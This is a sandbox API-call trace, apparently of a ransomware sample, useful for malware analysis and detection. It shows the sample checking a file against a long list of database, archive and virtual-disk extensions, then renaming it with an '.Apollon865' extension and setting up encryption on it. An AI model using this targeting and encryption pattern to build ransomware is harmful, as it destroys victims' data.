	[0085.106] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".dll") returned 1
	[0085.106] lstrlenW (lpString=".lnk") returned 4
	[0085.106] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".lnk") returned 1
	[0085.107] lstrlenW (lpString=".ini") returned 4
	[0085.107] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".ini") returned 1
	[0085.107] lstrlenW (lpString=".sys") returned 4
	[0085.107] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".sys") returned 1
	[0085.107] lstrlenW (lpString="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 69
	[0085.107] lstrlenW (lpString="bak") returned 3
	[0085.107] lstrcmpiW (lpString1="53f", lpString2="bak") returned -1
	[0085.107] lstrlenW (lpString="ba_") returned 3
	[0085.107] lstrcmpiW (lpString1="53f", lpString2="ba_") returned -1
	[0085.107] lstrlenW (lpString="dbb") returned 3
	[0085.107] lstrcmpiW (lpString1="53f", lpString2="dbb") returned -1
	[0085.107] lstrlenW (lpString="vmdk") returned 4
	[0085.107] lstrcmpiW (lpString1="e53f", lpString2="vmdk") returned -1
	[0085.107] lstrlenW (lpString="rar") returned 3
	[0085.107] lstrcmpiW (lpString1="53f", lpString2="rar") returned -1
	[0085.107] lstrlenW (lpString="zip") returned 3
	[0085.107] lstrcmpiW (lpString1="53f", lpString2="zip") returned -1
	[0085.107] lstrlenW (lpString="tgz") returned 3
	[0085.107] lstrcmpiW (lpString1="53f", lpString2="tgz") returned -1
	[0085.107] lstrlenW (lpString="vbox") returned 4
	[0085.107] lstrcmpiW (lpString1="e53f", lpString2="vbox") returned -1
	[0085.107] lstrlenW (lpString="vdi") returned 3
	[0085.107] lstrcmpiW (lpString1="53f", lpString2="vdi") returned -1
	[0085.107] lstrlenW (lpString="vhd") returned 3
	[0085.107] lstrcmpiW (lpString1="53f", lpString2="vhd") returned -1
	[0085.107] lstrlenW (lpString="vhdx") returned 4
	[0085.107] lstrcmpiW (lpString1="e53f", lpString2="vhdx") returned -1
	[0085.107] lstrlenW (lpString="avhd") returned 4
	[0085.107] lstrcmpiW (lpString1="e53f", lpString2="avhd") returned 1
	[0085.107] lstrlenW (lpString="db") returned 2
	[0085.107] lstrcmpiW (lpString1="3f", lpString2="db") returned -1
	[0085.107] lstrlenW (lpString="db2") returned 3
	[0085.107] lstrcmpiW (lpString1="53f", lpString2="db2") returned -1
	[0085.107] lstrlenW (lpString="db3") returned 3
	[0085.107] lstrcmpiW (lpString1="53f", lpString2="db3") returned -1
	[0085.107] lstrlenW (lpString="dbf") returned 3
	[0085.107] lstrcmpiW (lpString1="53f", lpString2="dbf") returned -1
	[0085.107] lstrlenW (lpString="mdf") returned 3
	[0085.108] lstrcmpiW (lpString1="53f", lpString2="mdf") returned -1
	[0085.108] lstrlenW (lpString="mdb") returned 3
	[0085.108] lstrcmpiW (lpString1="53f", lpString2="mdb") returned -1
	[0085.108] lstrlenW (lpString="sql") returned 3
	[0085.108] lstrcmpiW (lpString1="53f", lpString2="sql") returned -1
	[0085.108] lstrlenW (lpString="sqlite") returned 6
	[0085.108] lstrcmpiW (lpString1="16e53f", lpString2="sqlite") returned -1
	[0085.108] lstrlenW (lpString="sqlite3") returned 7
	[0085.108] lstrcmpiW (lpString1="416e53f", lpString2="sqlite3") returned -1
	[0085.108] lstrlenW (lpString="sqlitedb") returned 8
	[0085.108] lstrcmpiW (lpString1="c416e53f", lpString2="sqlitedb") returned -1
	[0085.108] lstrlenW (lpString="xml") returned 3
	[0085.108] lstrcmpiW (lpString1="53f", lpString2="xml") returned -1
	[0085.108] lstrlenW (lpString="$er") returned 3
	[0085.108] lstrcmpiW (lpString1="53f", lpString2="$er") returned 1
	[0085.108] lstrlenW (lpString="4dd") returned 3
	[0085.108] lstrcmpiW (lpString1="53f", lpString2="4dd") returned 1
	[0085.108] lstrlenW (lpString="4dl") returned 3
	[0085.108] lstrcmpiW (lpString1="53f", lpString2="4dl") returned 1
	[0085.108] lstrlenW (lpString="^^^") returned 3
	[0085.108] lstrcmpiW (lpString1="53f", lpString2="^^^") returned 1
	[0085.108] lstrlenW (lpString="abs") returned 3
	[0085.108] lstrcmpiW (lpString1="53f", lpString2="abs") returned -1
	[0085.108] lstrlenW (lpString="abx") returned 3
	[0085.108] lstrcmpiW (lpString1="53f", lpString2="abx") returned -1
	[0085.108] lstrlenW (lpString="accdb") returned 5
	[0085.108] lstrcmpiW (lpString1="6e53f", lpString2="accdb") returned -1
	[0085.108] lstrlenW (lpString="accdc") returned 5
	[0085.108] lstrcmpiW (lpString1="6e53f", lpString2="accdc") returned -1
	[0085.108] lstrlenW (lpString="accde") returned 5
	[0085.108] lstrcmpiW (lpString1="6e53f", lpString2="accde") returned -1
	[0085.108] lstrlenW (lpString="accdr") returned 5
	[0085.108] lstrcmpiW (lpString1="6e53f", lpString2="accdr") returned -1
	[0085.108] lstrlenW (lpString="accdt") returned 5
	[0085.108] lstrcmpiW (lpString1="6e53f", lpString2="accdt") returned -1
	[0085.108] lstrlenW (lpString="accdw") returned 5
	[0085.108] lstrcmpiW (lpString1="6e53f", lpString2="accdw") returned -1
	[0085.108] lstrlenW (lpString="accft") returned 5
	[0085.109] lstrcmpiW (lpString1="6e53f", lpString2="accft") returned -1
	[0085.109] lstrlenW (lpString="adb") returned 3
	[0085.109] lstrcmpiW (lpString1="53f", lpString2="adb") returned -1
	[0085.109] lstrlenW (lpString="adb") returned 3
	[0085.109] lstrcmpiW (lpString1="53f", lpString2="adb") returned -1
	[0085.109] lstrlenW (lpString="ade") returned 3
	[0085.109] lstrcmpiW (lpString1="53f", lpString2="ade") returned -1
	[0085.109] lstrlenW (lpString="adf") returned 3
	[0085.109] lstrcmpiW (lpString1="53f", lpString2="adf") returned -1
	[0085.109] lstrlenW (lpString="adn") returned 3
	[0085.109] lstrcmpiW (lpString1="53f", lpString2="adn") returned -1
	[0085.109] lstrlenW (lpString="adp") returned 3
	[0085.109] lstrcmpiW (lpString1="53f", lpString2="adp") returned -1
	[0085.109] lstrlenW (lpString="alf") returned 3
	[0085.109] lstrcmpiW (lpString1="53f", lpString2="alf") returned -1
	[0085.109] lstrlenW (lpString="ask") returned 3
	[0085.109] lstrcmpiW (lpString1="53f", lpString2="ask") returned -1
	[0085.109] lstrlenW (lpString="btr") returned 3
	[0085.109] lstrcmpiW (lpString1="53f", lpString2="btr") returned -1
	[0085.109] lstrlenW (lpString="cat") returned 3
	[0085.109] lstrcmpiW (lpString1="53f", lpString2="cat") returned -1
	[0085.109] lstrlenW (lpString="cdb") returned 3
	[0085.109] lstrcmpiW (lpString1="53f", lpString2="cdb") returned -1
	[0085.109] lstrlenW (lpString="ckp") returned 3
	[0085.109] lstrcmpiW (lpString1="53f", lpString2="ckp") returned -1
	[0085.109] lstrlenW (lpString="cma") returned 3
	[0085.109] lstrcmpiW (lpString1="53f", lpString2="cma") returned -1
	[0085.109] lstrlenW (lpString="cpd") returned 3
	[0085.109] lstrcmpiW (lpString1="53f", lpString2="cpd") returned -1
	[0085.109] lstrlenW (lpString="dacpac") returned 6
	[0085.109] lstrcmpiW (lpString1="16e53f", lpString2="dacpac") returned -1
	[0085.109] lstrlenW (lpString="dad") returned 3
	[0085.109] lstrcmpiW (lpString1="53f", lpString2="dad") returned -1
	[0085.109] lstrlenW (lpString="dadiagrams") returned 10
	[0085.109] lstrcmpiW (lpString1="9ec416e53f", lpString2="dadiagrams") returned -1
	[0085.109] lstrlenW (lpString="daschema") returned 8
	[0085.109] lstrcmpiW (lpString1="c416e53f", lpString2="daschema") returned -1
	[0085.110] lstrlenW (lpString="db-journal") returned 10
	[0085.110] lstrcmpiW (lpString1="9ec416e53f", lpString2="db-journal") returned -1
	[0085.110] lstrlenW (lpString="db-shm") returned 6
	[0085.110] lstrcmpiW (lpString1="16e53f", lpString2="db-shm") returned -1
	[0085.110] lstrlenW (lpString="db-wal") returned 6
	[0085.110] lstrcmpiW (lpString1="16e53f", lpString2="db-wal") returned -1
	[0085.110] lstrlenW (lpString="dbc") returned 3
	[0085.110] lstrcmpiW (lpString1="53f", lpString2="dbc") returned -1
	[0085.110] lstrlenW (lpString="dbs") returned 3
	[0085.110] lstrcmpiW (lpString1="53f", lpString2="dbs") returned -1
	[0085.110] lstrlenW (lpString="dbt") returned 3
	[0085.110] lstrcmpiW (lpString1="53f", lpString2="dbt") returned -1
	[0085.110] lstrlenW (lpString="dbv") returned 3
	[0085.110] lstrcmpiW (lpString1="53f", lpString2="dbv") returned -1
	[0085.110] lstrlenW (lpString="dbx") returned 3
	[0085.110] lstrcmpiW (lpString1="53f", lpString2="dbx") returned -1
	[0085.110] lstrlenW (lpString="dcb") returned 3
	[0085.110] lstrcmpiW (lpString1="53f", lpString2="dcb") returned -1
	[0085.110] lstrlenW (lpString="dct") returned 3
	[0085.110] lstrcmpiW (lpString1="53f", lpString2="dct") returned -1
	[0085.110] lstrlenW (lpString="dcx") returned 3
	[0085.110] lstrcmpiW (lpString1="53f", lpString2="dcx") returned -1
	[0085.110] lstrlenW (lpString="ddl") returned 3
	[0085.110] lstrcmpiW (lpString1="53f", lpString2="ddl") returned -1
	[0085.110] lstrlenW (lpString="dlis") returned 4
	[0085.110] lstrcmpiW (lpString1="e53f", lpString2="dlis") returned 1
	[0085.110] lstrlenW (lpString="dp1") returned 3
	[0085.110] lstrcmpiW (lpString1="53f", lpString2="dp1") returned -1
	[0085.110] lstrlenW (lpString="dqy") returned 3
	[0085.110] lstrcmpiW (lpString1="53f", lpString2="dqy") returned -1
	[0085.110] lstrlenW (lpString="dsk") returned 3
	[0085.110] lstrcmpiW (lpString1="53f", lpString2="dsk") returned -1
	[0085.110] lstrlenW (lpString="dsn") returned 3
	[0085.110] lstrcmpiW (lpString1="53f", lpString2="dsn") returned -1
	[0085.110] lstrlenW (lpString="dtsx") returned 4
	[0085.110] lstrcmpiW (lpString1="e53f", lpString2="dtsx") returned 1
	[0085.110] lstrlenW (lpString="dxl") returned 3
	[0085.111] lstrcmpiW (lpString1="53f", lpString2="dxl") returned -1
	[0085.111] lstrlenW (lpString="eco") returned 3
	[0085.111] lstrcmpiW (lpString1="53f", lpString2="eco") returned -1
	[0085.111] lstrlenW (lpString="ecx") returned 3
	[0085.111] lstrcmpiW (lpString1="53f", lpString2="ecx") returned -1
	[0085.111] lstrlenW (lpString="edb") returned 3
	[0085.111] lstrcmpiW (lpString1="53f", lpString2="edb") returned -1
	[0085.111] lstrlenW (lpString="epim") returned 4
	[0085.111] lstrcmpiW (lpString1="e53f", lpString2="epim") returned -1
	[0085.111] lstrlenW (lpString="fcd") returned 3
	[0085.111] lstrcmpiW (lpString1="53f", lpString2="fcd") returned -1
	[0085.111] lstrlenW (lpString="fdb") returned 3
	[0085.111] lstrcmpiW (lpString1="53f", lpString2="fdb") returned -1
	[0085.111] lstrlenW (lpString="fic") returned 3
	[0085.111] lstrcmpiW (lpString1="53f", lpString2="fic") returned -1
	[0085.111] lstrlenW (lpString="flexolibrary") returned 12
	[0085.111] lstrcmpiW (lpString1="7d9ec416e53f", lpString2="flexolibrary") returned -1
	[0085.111] lstrlenW (lpString="fm5") returned 3
	[0085.111] lstrcmpiW (lpString1="53f", lpString2="fm5") returned -1
	[0085.111] lstrlenW (lpString="fmp") returned 3
	[0085.111] lstrcmpiW (lpString1="53f", lpString2="fmp") returned -1
	[0085.111] lstrlenW (lpString="fmp12") returned 5
	[0085.111] lstrcmpiW (lpString1="6e53f", lpString2="fmp12") returned -1
	[0085.111] lstrlenW (lpString="fmpsl") returned 5
	[0085.111] lstrcmpiW (lpString1="6e53f", lpString2="fmpsl") returned -1
	[0085.111] lstrlenW (lpString="fol") returned 3
	[0085.111] lstrcmpiW (lpString1="53f", lpString2="fol") returned -1
	[0085.111] lstrlenW (lpString="fp3") returned 3
	[0085.111] lstrcmpiW (lpString1="53f", lpString2="fp3") returned -1
	[0085.111] lstrlenW (lpString="fp4") returned 3
	[0085.111] lstrcmpiW (lpString1="53f", lpString2="fp4") returned -1
	[0085.111] lstrlenW (lpString="fp5") returned 3
	[0085.111] lstrcmpiW (lpString1="53f", lpString2="fp5") returned -1
	[0085.111] lstrlenW (lpString="fp7") returned 3
	[0085.111] lstrcmpiW (lpString1="53f", lpString2="fp7") returned -1
	[0085.111] lstrlenW (lpString="fpt") returned 3
	[0085.111] lstrcmpiW (lpString1="53f", lpString2="fpt") returned -1
	[0085.111] lstrlenW (lpString="frm") returned 3
	[0085.112] lstrcmpiW (lpString1="53f", lpString2="frm") returned -1
	[0085.112] lstrlenW (lpString="gdb") returned 3
	[0085.112] lstrcmpiW (lpString1="53f", lpString2="gdb") returned -1
	[0085.112] lstrlenW (lpString="gdb") returned 3
	[0085.112] lstrcmpiW (lpString1="53f", lpString2="gdb") returned -1
	[0085.112] lstrlenW (lpString="grdb") returned 4
	[0085.112] lstrcmpiW (lpString1="e53f", lpString2="grdb") returned -1
	[0085.112] lstrlenW (lpString="gwi") returned 3
	[0085.112] lstrcmpiW (lpString1="53f", lpString2="gwi") returned -1
	[0085.112] lstrlenW (lpString="hdb") returned 3
	[0085.112] lstrcmpiW (lpString1="53f", lpString2="hdb") returned -1
	[0085.112] lstrlenW (lpString="his") returned 3
	[0085.112] lstrcmpiW (lpString1="53f", lpString2="his") returned -1
	[0085.112] lstrlenW (lpString="ib") returned 2
	[0085.112] lstrcmpiW (lpString1="3f", lpString2="ib") returned -1
	[0085.112] lstrlenW (lpString="idb") returned 3
	[0085.112] lstrcmpiW (lpString1="53f", lpString2="idb") returned -1
	[0085.112] lstrlenW (lpString="ihx") returned 3
	[0085.112] lstrcmpiW (lpString1="53f", lpString2="ihx") returned -1
	[0085.112] lstrlenW (lpString="itdb") returned 4
	[0085.112] lstrcmpiW (lpString1="e53f", lpString2="itdb") returned -1
	[0085.112] lstrlenW (lpString="itw") returned 3
	[0085.112] lstrcmpiW (lpString1="53f", lpString2="itw") returned -1
	[0085.112] lstrlenW (lpString="jet") returned 3
	[0085.112] lstrcmpiW (lpString1="53f", lpString2="jet") returned -1
	[0085.112] lstrlenW (lpString="jtx") returned 3
	[0085.112] lstrcmpiW (lpString1="53f", lpString2="jtx") returned -1
	[0085.112] lstrlenW (lpString="kdb") returned 3
	[0085.112] lstrcmpiW (lpString1="53f", lpString2="kdb") returned -1
	[0085.112] lstrlenW (lpString="kexi") returned 4
	[0085.112] lstrcmpiW (lpString1="e53f", lpString2="kexi") returned -1
	[0085.112] lstrlenW (lpString="kexic") returned 5
	[0085.112] lstrcmpiW (lpString1="6e53f", lpString2="kexic") returned -1
	[0085.112] lstrlenW (lpString="kexis") returned 5
	[0085.112] lstrcmpiW (lpString1="6e53f", lpString2="kexis") returned -1
	[0085.112] lstrlenW (lpString="lgc") returned 3
	[0085.112] lstrcmpiW (lpString1="53f", lpString2="lgc") returned -1
	[0085.112] lstrlenW (lpString="lwx") returned 3
	[0085.112] lstrcmpiW (lpString1="53f", lpString2="lwx") returned -1
	[0085.113] lstrlenW (lpString="maf") returned 3
	[0085.113] lstrcmpiW (lpString1="53f", lpString2="maf") returned -1
	[0085.113] lstrlenW (lpString="maq") returned 3
	[0085.113] lstrcmpiW (lpString1="53f", lpString2="maq") returned -1
	[0085.113] lstrlenW (lpString="mar") returned 3
	[0085.113] lstrcmpiW (lpString1="53f", lpString2="mar") returned -1
	[0085.113] lstrlenW (lpString="marshal") returned 7
	[0085.113] lstrcmpiW (lpString1="416e53f", lpString2="marshal") returned -1
	[0085.113] lstrlenW (lpString="mas") returned 3
	[0085.113] lstrcmpiW (lpString1="53f", lpString2="mas") returned -1
	[0085.113] lstrlenW (lpString="mav") returned 3
	[0085.113] lstrcmpiW (lpString1="53f", lpString2="mav") returned -1
	[0085.113] lstrlenW (lpString="maw") returned 3
	[0085.113] lstrcmpiW (lpString1="53f", lpString2="maw") returned -1
	[0085.113] lstrlenW (lpString="mdbhtml") returned 7
	[0085.113] lstrcmpiW (lpString1="416e53f", lpString2="mdbhtml") returned -1
	[0085.113] lstrlenW (lpString="mdn") returned 3
	[0085.113] lstrcmpiW (lpString1="53f", lpString2="mdn") returned -1
	[0085.113] lstrlenW (lpString="mdt") returned 3
	[0085.113] lstrcmpiW (lpString1="53f", lpString2="mdt") returned -1
	[0085.113] lstrlenW (lpString="mfd") returned 3
	[0085.113] lstrcmpiW (lpString1="53f", lpString2="mfd") returned -1
	[0085.113] lstrlenW (lpString="mpd") returned 3
	[0085.113] lstrcmpiW (lpString1="53f", lpString2="mpd") returned -1
	[0085.113] lstrlenW (lpString="mrg") returned 3
	[0085.113] lstrcmpiW (lpString1="53f", lpString2="mrg") returned -1
	[0085.113] lstrlenW (lpString="mud") returned 3
	[0085.113] lstrcmpiW (lpString1="53f", lpString2="mud") returned -1
	[0085.113] lstrlenW (lpString="mwb") returned 3
	[0085.113] lstrcmpiW (lpString1="53f", lpString2="mwb") returned -1
	[0085.113] lstrlenW (lpString="myd") returned 3
	[0085.113] lstrcmpiW (lpString1="53f", lpString2="myd") returned -1
	[0085.113] lstrlenW (lpString="ndf") returned 3
	[0085.113] lstrcmpiW (lpString1="53f", lpString2="ndf") returned -1
	[0085.113] lstrlenW (lpString="nnt") returned 3
	[0085.113] lstrcmpiW (lpString1="53f", lpString2="nnt") returned -1
	[0085.113] lstrlenW (lpString="nrmlib") returned 6
	[0085.114] lstrcmpiW (lpString1="16e53f", lpString2="nrmlib") returned -1
	[0085.114] lstrlenW (lpString="ns2") returned 3
	[0085.114] lstrcmpiW (lpString1="53f", lpString2="ns2") returned -1
	[0085.114] lstrlenW (lpString="ns3") returned 3
	[0085.114] lstrcmpiW (lpString1="53f", lpString2="ns3") returned -1
	[0085.114] lstrlenW (lpString="ns4") returned 3
	[0085.114] lstrcmpiW (lpString1="53f", lpString2="ns4") returned -1
	[0085.114] lstrlenW (lpString="nsf") returned 3
	[0085.114] lstrcmpiW (lpString1="53f", lpString2="nsf") returned -1
	[0085.114] lstrlenW (lpString="nv") returned 2
	[0085.114] lstrcmpiW (lpString1="3f", lpString2="nv") returned -1
	[0085.114] lstrlenW (lpString="nv2") returned 3
	[0085.114] lstrcmpiW (lpString1="53f", lpString2="nv2") returned -1
	[0085.114] lstrlenW (lpString="nwdb") returned 4
	[0085.114] lstrcmpiW (lpString1="e53f", lpString2="nwdb") returned -1
	[0085.114] lstrlenW (lpString="nyf") returned 3
	[0085.114] lstrcmpiW (lpString1="53f", lpString2="nyf") returned -1
	[0085.114] lstrlenW (lpString="odb") returned 3
	[0085.114] lstrcmpiW (lpString1="53f", lpString2="odb") returned -1
	[0085.114] lstrlenW (lpString="odb") returned 3
	[0085.114] lstrcmpiW (lpString1="53f", lpString2="odb") returned -1
	[0085.114] lstrlenW (lpString="oqy") returned 3
	[0085.114] lstrcmpiW (lpString1="53f", lpString2="oqy") returned -1
	[0085.114] lstrlenW (lpString="ora") returned 3
	[0085.114] lstrcmpiW (lpString1="53f", lpString2="ora") returned -1
	[0085.114] lstrlenW (lpString="orx") returned 3
	[0085.114] lstrcmpiW (lpString1="53f", lpString2="orx") returned -1
	[0085.114] lstrlenW (lpString="owc") returned 3
	[0085.114] lstrcmpiW (lpString1="53f", lpString2="owc") returned -1
	[0085.114] lstrlenW (lpString="p96") returned 3
	[0085.115] lstrcmpiW (lpString1="53f", lpString2="p96") returned -1
	[0085.115] lstrlenW (lpString="p97") returned 3
	[0085.115] lstrcmpiW (lpString1="53f", lpString2="p97") returned -1
	[0085.115] lstrlenW (lpString="pan") returned 3
	[0085.115] lstrcmpiW (lpString1="53f", lpString2="pan") returned -1
	[0085.115] lstrlenW (lpString="pdb") returned 3
	[0085.115] lstrcmpiW (lpString1="53f", lpString2="pdb") returned -1
	[0085.115] lstrlenW (lpString="pdm") returned 3
	[0085.115] lstrcmpiW (lpString1="53f", lpString2="pdm") returned -1
	[0085.115] lstrlenW (lpString="pnz") returned 3
	[0085.115] lstrcmpiW (lpString1="53f", lpString2="pnz") returned -1
	[0085.115] lstrlenW (lpString="qry") returned 3
	[0085.115] lstrcmpiW (lpString1="53f", lpString2="qry") returned -1
	[0085.115] lstrlenW (lpString="qvd") returned 3
	[0085.115] lstrcmpiW (lpString1="53f", lpString2="qvd") returned -1
	[0085.115] lstrlenW (lpString="rbf") returned 3
	[0085.115] lstrcmpiW (lpString1="53f", lpString2="rbf") returned -1
	[0085.115] lstrlenW (lpString="rctd") returned 4
	[0085.115] lstrcmpiW (lpString1="e53f", lpString2="rctd") returned -1
	[0085.115] lstrlenW (lpString="rod") returned 3
	[0085.115] lstrcmpiW (lpString1="53f", lpString2="rod") returned -1
	[0085.115] lstrlenW (lpString="rodx") returned 4
	[0085.115] lstrcmpiW (lpString1="e53f", lpString2="rodx") returned -1
	[0085.115] lstrlenW (lpString="rpd") returned 3
	[0085.115] lstrcmpiW (lpString1="53f", lpString2="rpd") returned -1
	[0085.115] lstrlenW (lpString="rsd") returned 3
	[0085.115] lstrcmpiW (lpString1="53f", lpString2="rsd") returned -1
	[0085.115] lstrlenW (lpString="sas7bdat") returned 8
	[0085.115] lstrcmpiW (lpString1="c416e53f", lpString2="sas7bdat") returned -1
	[0085.115] lstrlenW (lpString="sbf") returned 3
	[0085.115] lstrcmpiW (lpString1="53f", lpString2="sbf") returned -1
	[0085.115] lstrlenW (lpString="scx") returned 3
	[0085.115] lstrcmpiW (lpString1="53f", lpString2="scx") returned -1
	[0085.115] lstrlenW (lpString="sdb") returned 3
	[0085.115] lstrcmpiW (lpString1="53f", lpString2="sdb") returned -1
	[0085.115] lstrlenW (lpString="sdc") returned 3
	[0085.115] lstrcmpiW (lpString1="53f", lpString2="sdc") returned -1
	[0085.115] lstrlenW (lpString="sdf") returned 3
	[0085.116] lstrcmpiW (lpString1="53f", lpString2="sdf") returned -1
	[0085.116] lstrlenW (lpString="sis") returned 3
	[0085.116] lstrcmpiW (lpString1="53f", lpString2="sis") returned -1
	[0085.116] lstrlenW (lpString="spq") returned 3
	[0085.116] lstrcmpiW (lpString1="53f", lpString2="spq") returned -1
	[0085.116] lstrlenW (lpString="te") returned 2
	[0085.116] lstrcmpiW (lpString1="3f", lpString2="te") returned -1
	[0085.116] lstrlenW (lpString="teacher") returned 7
	[0085.116] lstrcmpiW (lpString1="416e53f", lpString2="teacher") returned -1
	[0085.116] lstrlenW (lpString="tmd") returned 3
	[0085.116] lstrcmpiW (lpString1="53f", lpString2="tmd") returned -1
	[0085.116] lstrlenW (lpString="tps") returned 3
	[0085.116] lstrcmpiW (lpString1="53f", lpString2="tps") returned -1
	[0085.116] lstrlenW (lpString="trc") returned 3
	[0085.116] lstrcmpiW (lpString1="53f", lpString2="trc") returned -1
	[0085.116] lstrlenW (lpString="trc") returned 3
	[0085.116] lstrcmpiW (lpString1="53f", lpString2="trc") returned -1
	[0085.116] lstrlenW (lpString="trm") returned 3
	[0085.116] lstrcmpiW (lpString1="53f", lpString2="trm") returned -1
	[0085.116] lstrlenW (lpString="udb") returned 3
	[0085.116] lstrcmpiW (lpString1="53f", lpString2="udb") returned -1
	[0085.116] lstrlenW (lpString="udl") returned 3
	[0085.116] lstrcmpiW (lpString1="53f", lpString2="udl") returned -1
	[0085.116] lstrlenW (lpString="usr") returned 3
	[0085.116] lstrcmpiW (lpString1="53f", lpString2="usr") returned -1
	[0085.116] lstrlenW (lpString="v12") returned 3
	[0085.116] lstrcmpiW (lpString1="53f", lpString2="v12") returned -1
	[0085.116] lstrlenW (lpString="vis") returned 3
	[0085.116] lstrcmpiW (lpString1="53f", lpString2="vis") returned -1
	[0085.116] lstrlenW (lpString="vpd") returned 3
	[0085.116] lstrcmpiW (lpString1="53f", lpString2="vpd") returned -1
	[0085.116] lstrlenW (lpString="vvv") returned 3
	[0085.116] lstrcmpiW (lpString1="53f", lpString2="vvv") returned -1
	[0085.116] lstrlenW (lpString="wdb") returned 3
	[0085.116] lstrcmpiW (lpString1="53f", lpString2="wdb") returned -1
	[0085.116] lstrlenW (lpString="wmdb") returned 4
	[0085.116] lstrcmpiW (lpString1="e53f", lpString2="wmdb") returned -1
	[0085.116] lstrlenW (lpString="wrk") returned 3
	[0085.116] lstrcmpiW (lpString1="53f", lpString2="wrk") returned -1
	[0085.117] lstrlenW (lpString="xdb") returned 3
	[0085.117] lstrcmpiW (lpString1="53f", lpString2="xdb") returned -1
	[0085.117] lstrlenW (lpString="xld") returned 3
	[0085.117] lstrcmpiW (lpString1="53f", lpString2="xld") returned -1
	[0085.117] lstrlenW (lpString="xmlff") returned 5
	[0085.117] lstrcmpiW (lpString1="6e53f", lpString2="xmlff") returned -1
	[0085.117] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f.Apollon865") returned 129
	[0085.117] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f.apollon865"), dwFlags=0x1) returned 1
	[0085.118] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0085.119] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=47) returned 1
	[0085.119] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0085.119] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0085.119] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0085.119] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0085.120] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0085.120] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0085.120] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x330, lpName=0x0) returned 0x15c
	[0085.129] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x330) returned 0x100000
	[0085.142] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0085.143] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0085.143] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0085.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0085.143] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0085.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0085.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0085.143] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0085.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0085.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0085.144] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0085.144] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0085.144] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0085.144] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
